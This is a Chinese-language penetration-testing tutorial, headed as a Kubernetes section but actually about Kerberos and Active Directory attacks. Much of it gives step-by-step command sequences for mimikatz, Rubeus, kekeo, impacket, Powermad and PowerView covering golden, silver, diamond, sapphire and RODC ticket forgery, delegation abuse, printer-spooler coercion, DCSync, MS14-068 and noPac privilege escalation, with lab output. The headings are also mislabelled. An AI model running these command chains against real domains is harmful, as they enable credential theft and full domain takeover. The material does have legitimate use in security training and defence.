内网渗透基础学习（四）

7.k8s攻击专题

注：转载了一篇其他师傅的文章，加了一些内网渗透体系建设和缺少的内容
在内网渗透中，Kerberos是最常用的域认证协议，基础认证流程如图所示。简单来说可以分为用户（client）、服务器（Server）、KDC（Key Distribution Center）。其中KDC包含AS（Authentication Server认证服务器）和TGS（Ticket Granting Server 票据授权服务器）

步骤如下：

1、客户端向AS发送请求，内容为通过客户端的哈希加密的时间戳、客户端ID等内容

2、AS使用Client密码哈希值进行解密，若解密正确则返回用krbtgt的NTLM哈希加密的TGT票据（Ticket Granting Ticket，票据授权凭证）。TGT包含PAC（Privilege Attribute Certificate 特权属性证书)，PAC包含Client的相关权限信息，如SID及所在的组。即PAC用于验证用户权限。只有KDC能制作和查看PACKAGE

3、客户端携带TGT访问TGS请求获得Server Ticket

4、TGS使用krbtgt的NTLM-hash对TGT进行解密。若结果正确，则返回用服务NTLM-hash加密的TGS票据（即 Server Ticket)，并带上PAC。注：在Kerberos认知过程中，无论用户有没有访问服务的权限，只要TGT正确，就会返回ST

5、客户端根据ServerTicket去访问想要访问的服务

6、服务使用自己的NTLM-hash解密ST。若解密成功，就会将其中的PAC给KDC解密，由此判断Cliient是否有访问服务的权限。

在第六步中，若未设置PAC，则不会去KDC求证，这就是白银票据成功的原理。

7.1 K8s认证基础

Kerberos攻击分类

7.1 AS_REQ&ASREP阶段攻击

该阶段攻击的枚举、密码喷洒攻击，前文都有介绍，这里不在赘述。可通过Github寻找相应的工具。而AS_REP Rosting攻击的首要条件：默认不需要Kerberos预身份验证，默认不勾选。原理是不需要Kerberos的与身份认证，AS_REP过程中可任意伪造用户名请求票据。通过爆破得到正确的票据。

主要攻击手段还是黄金票据攻击。

7.1.1 黄金票据攻击

在Kerberos认证中，每个用户的票据都是由krbtgt的NTLM哈希值加密生成的，获取krbtgt的哈希值就可以伪造任意用户的票据，这种攻击被称为黄金票据。该攻击需要以下信息，域名、域sid、krbtgt哈希、伪造的用户

1、在DC上用mimikatz获取哈希
mimikatz.exe "Log" "Privilege::Debug" "lsadump::lsa /patch" "exit"
2、得到krbtgt的哈希后，再利用mimikatz生成黄金票据并导入
mimikatz # kerberos::golden /admin:Administrator /domain:hack-my.com /sid:SID /krbtgt:krbtgt哈希 /ticket:ticket.kirbi 
mimikatz # kerberos::ptt ticket kirbi

再次访问即可发现访问成功

注：跨域下的黄金票据有一定限制，但利用SidHistory即可解决，因为现实中跨域的攻击情况较少。

7.2 TGS_REQ&TGS_REP阶段攻击

前置知识：SPN（Service Principal Name，服务器主体名称）是服务器所运行服务的唯一标识，每个使用kerberos认知的服务都必须正确配置相应的SPN，一个账户下可以有多个SPN。根据权限，SPN有两种注册方式，分别为机器账户computers、域用户账户users。KDC查询SPN也按照账户方式进行查找。

Kerberosast攻击主要是利用TGS_REP阶段使用服务的NTLM Hash返回的加密数据对域内的任何主机，都可以通过查询SPN，向域内的所有服务请求ST（因为KDC不会验证权限），然后进行暴力破解，但只有域用户的SPN是可以利用的（机器账户的SPN会每三十天更改一次密码，长度为128位的字符，无法破解），所以实际攻击中我们要攻击的是域用户。若该SPN没有注册在域用户下，可以尝试先注册再使用hashcat破解，破解的成功与否与密码字典直接相关。

7.2.1 白银票据

白银票据是指，在未配置PAC的情况下，消息不会去KDC验证。假设已获得DC机器账户的哈希值，便可以使用白银票据访问其LDAP服务执行DCSync。攻击需要以下信息，域名、域sid、krbtgt哈希、伪造的用户。利用过程略

7.2.2 委派攻击

在实际情况中，往往多个服务不可能在一台机器中，若用户在使用服务A时需要服务B的数据，就是让服务A替用户申请B中对应的数据，这就是委派。委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

1、非约束委派攻击

用户 A 去访问服务B，服务 B 的服务账户开启了非约束委派，那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存，服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。若域管理员访问了某个开启了非约束委派的服务，那么该服务所在计算机会将域管理员的TGT保存至内存，那么获得其特权就可以获取域控权限。攻击过程如下：

1、创建一个非约束委派用户并打开委派属性
setspn -U -A MSSQLSvc/mssql.redteam.com:1433 saulgoodman

当服务账号或者主机被设置为非约束性委派时，其 userAccountControl 属性会包含 TRUSTED_FOR_DELEGATION

在域内寻找非约束委派用户的命令如下，使用Adfind

AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

#Win2008以上的管理员用户权限利用mimikatz查看内存票据中没有域管的
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

非约束委派攻击的流程如下图

当域管访问未约束委派的机器的服务时，可以在该机器上导出票据，再利用票据接管域控。但实战中很鸡肋，因为需要域管连接该服务，特定情况下可以利用Spooler打印机服务让域控主动连接。

在Spooler服务默认开启的情况下，域用户可以利用Windows打印系统远程协议（MS-RPRN）强制任何运行了Spooler服务的域内计算机通过Kerberos或NTLM对任何目标进行身份验证。过程如下：

1、DC的spool开启，在攻击机上开启管理员权限，使用Rubeus对域控机器的登陆进行监听
2、利用SpoolSample工具强制DC对攻击机进行认证，虽然显示错误，但可以成功抓到TGT
3、利用Rubeus导入TGT
Rubeus.exe ptt /ticket:base64
4、利用mimikatz进行dcsync成功获取hash，只做黄金票据以接管域控。此处获取的TGT是实际上是DC的机器账户，二极其账户没有权限访问cifs的服务，但在LDAP服务中，机器账户会被当成域控主机，从而可以dcsync。注：权限是权限，认证是认证

2、约束委派攻击

由于非约束委派的不安全性（配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务），微软在 Windows Server 2003 中引入了约束委派，对 Kerberos 协议进行拓展，引入了 S4U (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST)；如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST，限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST，首先需要从该用户到其本身的 TGS/ST，但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

不同于允许委派所有服务的非约束委派，约束委派的目的是在模拟用户的同时，限制委派机器/帐户对特定服务的访问。

S4U2self：

(1) 用户向 service1 发送请求。用户已通过身份验证，但 service1 没有用户的授权数据。通常，这是由于身份验证是通过 Kerberos 以外的其他方式验证的。

(2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

(3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1，该 ST1 可能包含用户的授权数据。

(4) service1 可以使用 ST 中的授权数据来满足用户的请求，然后响应用户。

尽管 S4U2self 向 service1 提供有关用户的信息，但 S4U2self 不允许 service1 代表用户发出其他服务的请求，这时候就轮到 S4U2proxy 发挥作用了。

S4U2proxy:

(5) 用户向 service1 发送请求，service1 需要以用户身份访问 service2 上的资源。

(6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。

(7) 如果请求中包含 PAC，则 KDC 通过检查 PAC 的签名数据来验证 PAC ，如果 PAC 有效或不存在，则 KDC 返回 ST2 给 service1，但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份，而不是 service1 的身份。

(8) service1 使用 ST2 以用户的名义向 service2 发送请求，并判定用户已由 KDC 进行身份验证。

(9) service2 响应步骤 8 的请求。

在上述过程中，若获取了service1的权限，就可以伪造S4U先请求service1本身的ST，然后利用此ST便可以伪造任意用户请求获取service2的ST。

注：如果我们可以攻破配置约束委派的服务账户(获取密码/Hash)，我们就可以模拟域内任意用户(如 domain\administrator) 并代表其获得对已配置服务的访问权限（获取 TGS 票据）。

此外，我们不仅可以访问约束委派配置中用户可以模拟的服务，还可以访问使用与模拟帐户权限允许的任何服务。（因为未检查 SPN，只检查权限）。比如，如果我们能够访问 CIFS 服务，那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务，则有足够的权限去执行 DCSync。

如果 AD 中将用户标记为“帐户敏感且无法委派”，则无法模拟其身份。

攻击过程如下：

#在Windows系统中，普通用户的属性中没有委派（Delegation）这个选项卡，只有服务账号、主机账号才有。

#服务账号（Service Account），域内用户的一种类型，服务器运行服务时所用的账号，将服务运行起来并加入域。例如MS SQL Server在安装时，会在域内自动注册服务账号 SqlServiceAccount，这类账号不能用于交互式登录。

1、先注册一个SPN：
setspn -U -A SQLServer/redteam.red/MSSQL redteam-iis

2、配置服务账号

3、添加一个服务，当服务账号或主机被设为约束性委派时，其userAccountControl属性除了包括TRUSTED_TO_AUTH_FOR_DELEGATION,，即S4U2self返回的票据是允许转发，还包括msDS-AllowedToDelegateTo属性，即指定对哪个SPN进行委派

4、输入域控主机并检查名称，选择cifs服务

为了实验能成功，先使用 mimikatz 把 redteam-iis 机器的内存票据清空：

 # 清空内存票据
 kerberos::purge
 # 查看内存中的票据
 kerberos::list

1、使用 Adfind 查询约束委派的用户：
AdFind.exe -h 10.10.10.8 -u redteam-iis -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、利用 kekeo 请求该用户的 TGT：TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe 
 
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi

用 kekeo 请求该用户的 TGT 命令解释：
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称，不过这个参数没有生效，可以忽略

得到服务用户 TGT：TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
使用这张 TGT 通过伪造 s4u 请求以 administrator 用户身份请求访问 AD-2008 CIFS的 ST

tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red

S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前目录下

3、使用这张 TGT (TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST：TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-2008.redteam.red@REDTEAM.RED.kirbi

tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red

4、使用 mimikatz 将 ST2 导入当前会话即可，如果有杀软，自行免杀，运行 mimikatz 进行 ptt：

mimikatz.exe

kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-2008.redteam.red@REDTEAM.RED.kirbi

这个 dir 时候就能访问到域控了，这就是整个约束委派攻击的整个利用流程

除了上述方法，还可以利用Rubeus和impacket套件获取Shell

#Rubeus 请求TGT
Rubeus.exe s4u /user:Win2008-WEB$ /rc4:哈希值 /domain:domainname /impersonateuser:Administrator /msdsspn:cifs/domainname /ptt
然后用psexec连接即可

#impacket 请求TGT

python3 getST.py -dc-ip IP -spn cifs/dc.hack-my.com -impersonate administrator domainname/hostname\$ -hashes: hash export KRB5CCNAME=Administrator.ccache

python psexec.py -no-pass -k domainname -dc-ip IP

3、基于资源的约束委派

通过利用基于资源的约束委派攻击，我们能够使普通域用户以域管理员身份访问远程计算机 CIFS 等服务，实现本地权限提升。

基于资源的约束性委派 (RBCD：Resource Based Constrained Delegation)：为了使用户/资源更加独立，微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置，而把设置属性的权限赋予给了机器自身。

基于资源的约束性委派允许资源配置受信任的帐户委派给他们。

基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置，但资源的约束委派可以跨域森林和跨域。

配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。注：基于资源委派的S4U2self阶段的ST是不可转发的。

2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性，只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性。

基于资源的约束委派重点是msDS-AllowedToActOnBehalfOfOtherIdentity 属性的设置，可以分为以下方式

1、若可以修改服务B的该属性，将其更新为可控制的SPN账户SID，就可以伪造任意用户获得服务B的相关权限从而变相提权

2、利用中继攻击。

在大型内网域环境中，将机器加入到域环境中一般不会用域管权限，而是用一个专门加域的域用户（例如上图的 saulgoodman 就是一个加域用户）去操作。那么当我们拿下该域用户的账号密码时，就可以把通过该域用户加入到域里的所有机器都拿下。

所以如何想利用基于资源的约束性委派进行攻击的话就需要如下两个点：

一个机器账户

域内用户都有一个属性叫做 ms-ds-MachineAccountQuota，它代表的是允许用户在域中常见计算机账户的个数，默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。

一个有权利修改 msDS-AllowedToActOnBehalfOfOtherIdentity 的账户

攻击者可以查询域内计算机的 mS-DS-CreatorSID，这个值代表的是将计算机加入到域内的用户，它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity的权限的，如果我们可以拿到那个用户的凭据，就可以控制那个用户添加到域内的所有的电脑。

攻击流程

首先添加机器账户，修改 msDS-AllowedToActOnBehalfOfOtherIdentity 值为机器账户的 sid，然后以机器账户的身份伪造成 administrator 申请一张访问此机器账户机器的 ticket(类似于白银票据)，因为机器账户没有配置约束性委派，所以这张票据是不可转发的，但是在基于资源的约束性委派中，票据是否可以转发不重要，对之后对 s4u2proxy 不影响，最后利用这张 ticket 去申请访问修改了 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的机器。

攻击利用

saulgoodman.cn 域环境：

角色	机器 IP	主机名	服务器类型
saulgoodman\administrator	10.0.0.12	AD-2012	Windows 2012 R2（域控）
saulgoodman\redteam-iis	10.0.0.8	Web-2008	Windows 2008（被控的跳板机，所有攻击都在这个机器里完成）
saulgoodman\saulgoodman	10.0.0.7	Win7	Windows 7（受害机器）

其中 saulgoodman 这个域用户就是加域用户，当我们拿下一台机器权限，发现是在域环境，然后在电脑里发现 saulgoodman 域用户的账号密码，因为需要 saulgoodman 域用户将其他机器加入到域环境里，所以有可能会获得到 saulgoodman 的账号密码。

然后发现当前域用户并不在本地管理组里，就可以通过 saulgoodman 域用户提权到 adminsitrator。

由上图可见，当前域用户 saulgoodman 不是 win7 机器的本地管理员。

在 saulgoodman.cn 域中，saulgoodman 域用户负责将 web-2008 的机器或者 Win7 机器加入到 saulgoodman.cn 域里，那么当我们拿下 saulgoodman 这个域用户的权限后，就可以拿下域内 web-2008 的域机器和 win7的域机器。

假设我们已经获取到加域机器的 saulgoodman 的账户密码：

用户名	密码
saulgoodman\saulgoodman	admin!@#45

1、通过 ADfind 查询每个域机器是由哪个域用户添加进域的，通过 mS-DS-CreatorSID 查看域用户的 sid:

C:\Users\saulgoodman\Desktop>AdFind.exe -h 10.0.0.12 -u saulgoodman -up admin!@#45 -b "DC=saulgoodman,DC=cn" -f "objectClass=computer" mS-DS-CreatorSID

AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020

Using server: AD-2012.saulgoodman.cn:389
Directory: Windows Server 2012 R2

dn:CN=AD-2012,OU=Domain Controllers,DC=saulgoodman,DC=cn

dn:CN=WEB-2008,CN=Computers,DC=saulgoodman,DC=cn

dn:CN=WIN7,CN=Computers,DC=saulgoodman,DC=cn
>mS-DS-CreatorSID: S-1-5-21-3258976832-1609833424-2410015844-1108


3 Objects returned

复制

得到 win7 机器是 sid：S-1-5-21-3258976832-1609833424-2410015844-1108 的用户加入到域的。

那么问题来了，我们怎么知道 S-1-5-21-3258976832-1609833424-2410015844-1108 是那个域用户的 sid 呢？

2、若是想要查询每个域用户的 sid 就可以使用 sid2user 来帮助我们完成：（需要把 - 去掉）

sid2user.exe \\10.0.0.12 5 21 3258976832 1609833424 2410015844 1108

Name is saulgoodman
Domain is SAULGOODMAN
Type of SID is SidTypeUser

复制

这个时候就知道了 sid：S-1-5-21-3258976832-1609833424-2410015844-1108 是域用户 saulgoodman 。

我们需要添加一个机器用户，因为需要用机器用户去申请票据，本身的 win7 机器账户我们不知道他的密码所以无法申请票据，所以我们需要添加一个机器用户，用来帮助我们申请票据。

3、然后利用 powermad 添加机器账户：

下载地址：https://github.com/Kevin-Robertson/Powermad

# 添加用户 goodman 密码 123456
powershell
Set-ExecutionPolicy Bypass -Scope Process
 . .\Powermad.ps1
New-MachineAccount -MachineAccount goodman -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
# 验证是否添加成功
net group "domain computers" /domain

复制

此时就有了一个域机器账户 goodman:

4、获取 goodman 的 object Sid：得到了 sid 为：S-1-5-21-3258976832-1609833424-2410015844-1116。

下面是修改 win7 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值，使用Powerview ：https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

5、配置 goodman 到 win7 的基于资源约束的委派:

powershell
Set-ExecutionPolicy Bypass -Scope Process
. .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3258976832-1609833424-2410015844-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer win7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

复制

验证是否成功添加：

Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity

复制

若想清除 msds-allowedtoactonbehalfofotheridentity 属性的值，可用如下命令：

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

复制

6、使用 impacket的 getST.py 生成票据（建议使用 socks5），会在当前目录下生成 administrator.ccache 文件：

python getST.py -dc-ip 10.0.0.12 saulgoodman.cn/goodman\$:123456 -spn cifs/win7.saulgoodman.cn -impersonate administrator

复制

7、之后使用 mimikatz 导入票据：

kerberos::ptc administrator.ccache

复制

此时就能成功访问 Win7 了，这就是基于资源的约束委派攻击利用的整个流程。

7.2.3 其他票据

钻石票据

由于金银票据的伪造，之前没有合法的 TGT (KRB_AS_REQ) 或服务票请求 (KRB_TGS_REQ)，因此检测率相当高。钻石门票是以更隐秘的方式获取类似门票的替代方案。在这种情况下，了解服务长期密钥（TGT 中的 krbtgt 密钥、服务票据的服务帐户密钥）的攻击者可以请求合法票据、解密 PAC、修改它、重新计算签名并加密再次取票。该技术可以生成与合法 PAC 高度相似的 PAC，并且还可以生成合法请求。钻石票据是一种有用的替代方法，只需要请求正常票据、解密 PAC、修改 PAC、重新计算签名并再次加密即可。

注：利用前提包括

krbtgt 密钥（可以是 TGT 的 krbtgt，也可以是服务票据的目标服务）
域管权限

Windows下利用命令
Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS

Linux下利用命令：
ticketer.py -request -domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'
注：截至 2022 年 9 月 9 日，在Linux下该脚本不会修改所获取票据中的 PAC，而是将其完全替换为完全伪造的票据。 这不是最隐蔽的方法，因为伪造的 PAC 可能会嵌入错误的信息。 建议测试人员选择蓝宝石票据方法。 最重要的是，如果 PAC 中存在一些 Impacket 无法处理的结构，那么这些结构将在新伪造的 PAC 中丢失。

蓝宝石票据

蓝宝石门票与钻石门票类似，门票不是伪造的，而是基于请求后获得的合法门票。区别在于 PAC 的修改方式。钻石票方法修改了合法的 PAC。在Sapphire Ticket方法中，另一个域管的PAC是通过S4U2self+u2u技巧获得的。然后，该 PAC 会替换合法票证中的 PAC。生成的票据是合法元素的集合，并遵循标准票据请求，这使得它成为最难检测的银/金票据变体。

由于钻石票会动态修改 PAC 以包含任意组 ID，因此某些检测软件（或将）能够检测 PAC 值与实际 AD 关系之间的差异（例如，PAC 指示用户属于某些组）但事实上并非如此）。

蓝宝石票证是通过在票证中包含合法域管的 PAC 来以更隐秘的方式获取类似票证的替代方案。 PAC 中的内容与 Active Directory 中的内容之间将不再有任何差异。域管的PAC可以通过S4U2self+u2u技巧获得。

	在类 UNIX 系统中，Impacket 的票证 (Python) 脚本可通过 -impersonate 参数用于此类目的。截至 2022 年 9 月 25 日，此功能位于等待合并的拉取请求 (#1411) 中。用于自定义 PAC 的参数将被忽略（-groups、-user-id、-extra-sid、-duration）、所需的域 SID（-domain-sid）以及位置参数中提供的用户名（baduser 在这种情况下）。 所有这些信息将按原样从使用 S4U2self+u2u 技巧事先获得的 PAC 中保留。
	命令如下：
	ticketer.py -request -impersonate 'domainadmin' -domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
	Windows暂不了解何种工具便于利用 截至2023/8/13

RODC Golden tickets

通过对 RODC 的管理访问，可以转储所有缓存的凭据，包括 krbtgt_XXXXX 帐户的凭据。该哈希可用于为 msDS-RevealOnDemandGroup 中（而不是 RODC 的 msDS NeverRevealGroup 属性）中的任何帐户伪造“RODC 黄金票证”。可以将此票证提交给 RODC 或任何可访问的标准可写域控制器以请求服务票证 (ST)。

When presenting a RODC golden ticket to a writable (i.e. standard) Domain Controller, it is not worth crafting the PAC because it will be recalculated by the writable Domain Controller when issuing a service ticket (ST).

Windows下的利用方法
Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID
 截至2023/8/13，尚不了解Linux下如何使用工具利用

7.3 PAC攻击

1、MS14-068

该漏洞的原因是KDC无法正确检查PAC中的有效前面，由于其实现前面的加密允许所有的签名算法，只要客户端指定任意签名算法，KDC服务器就会使用指定的算法进行签名验证，因此可以利用不需要相关密钥的算法，如哈希算法。实现内容的任意更改，导致用户可以自己构造一张PAC，伪造用户的SID和所在的组。那么可以通过伪造PAC，加入域管相关信息，访问域控服务，KDC会认为当前用户有权限，从而把这个用户当作域管组的成员，进而达到提升为域管理员的效果。

可使用kekeo或impacket中的goldenPac来进行利用。

2、NoPac

该方法主要是利用CVE-2021-42278和CVE-2021-42287配合利用来绕过安全限制进行权限提升。

CVE-2021-42278是允许通过修改极其账户的sAMAccountName来冒充域控，方法是在机器账户的末尾附加$符号，但实际上AD并没验证域内机器账户中是否具有该符号，导致可以被假冒。

CVE-2021-42287是影响Kerberos里PAC的安全绕过漏洞，允许通过假冒域控使KDC创建高权限票据。

根据认证Kerberos协议，在请求服务票证前需先签发TGT，但是当为活动目录中不存在的账户请求服务票证时，KDC将在该账户名上附加$进行搜索，因此结合两个漏洞，可以实现域内权限提升。

流程大致如下：

1、创建一个机器账户

2、清除机器账户的servicePrincipalName属性

3、修改机器账户的sAMAccountName属性，使其指向不带$符号的域控账户

4、利用域控账户请求TGT

5、将新建的机器账户的sAMAccountName属性恢复为其原始值或其他任何值

6、利用S4U代表域管理员请求对应服务的服务票据（ST）

7、伪造域管理员账户并获得相应服务的ST

具体操作步骤如下

1、在一个普通域用户的主机上通过Powermad在域内创建一个名为HACKME$的机器账户

Import-Model .\Powermad.ps1
#设置机器账户的密码
$Password = ConvertTo-SecureString 'password' -AsPlainText -Force
#通过New-MachineAccount函数创建机器账户
New-MachineAccount -MachineAccount "HACKME" -Password $($Password) -Domain "hack-my.com" -DomainController "Dc-1.hack-my.com" Verbose
默认情况下，一个与用户可以创建十个机器账户，即使不允许创建机器账户，但相关机器是由已控域用户加入域的，那么该攻击仍可能生效。

2、通过PowerSploit项目中的PowerView.ps1清除机器账户的servicePrincipalName属性

Import-Module .\PowerView.ps1
Set-DomainObject "CN=HACKME,CN=Computers,DC=hack-my,DC=com" -Clear "servicePrincipalName"

3、修改机器账户的sAMAccountName属性，使其指向不带$符号的域控账户，该操作仍然由Powermad实现

Set-MachineAccountAttibute -MachineAccount "HACKME" -Value "DC-1" -Attribute "sAMAccountName"

4、通过Rubeus工具为域管账户请求TGT

Rubeus.exe asktgt /user:"AccountName" /password:"Password" /domain:"domainname" /dc:"DCname" /nowrap

执行后，KDC将在AS_REP中返回DC请求的TGT